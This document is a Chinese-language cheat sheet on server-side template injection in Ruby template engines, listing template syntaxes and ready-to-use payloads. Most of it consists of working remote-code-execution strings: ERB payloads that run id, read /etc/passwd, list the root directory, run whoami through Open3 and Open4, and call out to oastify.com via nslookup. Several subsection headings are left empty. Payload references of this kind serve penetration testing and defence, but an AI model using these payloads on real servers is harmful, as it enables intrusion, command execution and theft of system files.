服务端模板注入 (SSTI) - Ruby
服务端模板注入 (SSTI) 是一种漏洞,当攻击者可以将恶意代码注入服务端模板,导致服务器执行任意命令时,就会产生此漏洞。在 Ruby 中,当使用 ERB (Embedded Ruby)、Haml、Liquid 或 Slim 等模板引擎时,如果用户输入在未经过充分过滤或校验的情况下就集成到模板中,就可能发生 SSTI。
摘要 (Summary)
模板库 (Templating Libraries)
| 模板名称 | 载荷格式 |
|---|---|
| Erb | <%= %> |
| Erubi | <%= %> |
| Erubis | <%= %> |
| HAML | #{ } |
| Liquid | {{ }} |
| Mustache | {{ }} |
| Slim | #{ } |
通用载荷 (Universal Payloads)
通用的代码注入载荷适用于许多基于 Ruby 的模板引擎,例如 Erb、Erubi、Erubis、HAML 和 Slim。
要使用这些载荷,请将其包裹在适当的标签中。
%x('id') # 回显型 RCE (Rendered RCE)
File.read("Y:/A:/"+%x('id')) # 报错型 RCE (Error-Based RCE)
1/(system("id")&&1||0) # 布尔型 RCE (Boolean-Based RCE)
system("id && sleep 5") # 时间型 RCE (Time-Based RCE)
Ruby
Ruby - 基础注入
ERB:
Slim:
Ruby - 获取 /etc/passwd
Ruby - 列出文件和目录
Ruby - 远程命令执行 (RCE)
使用 Erb、Erubi、Erubis 引擎执行 SSTI 代码:
<%=(`nslookup oastify.com`)%>
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
使用 Slim 引擎执行 SSTI 代码: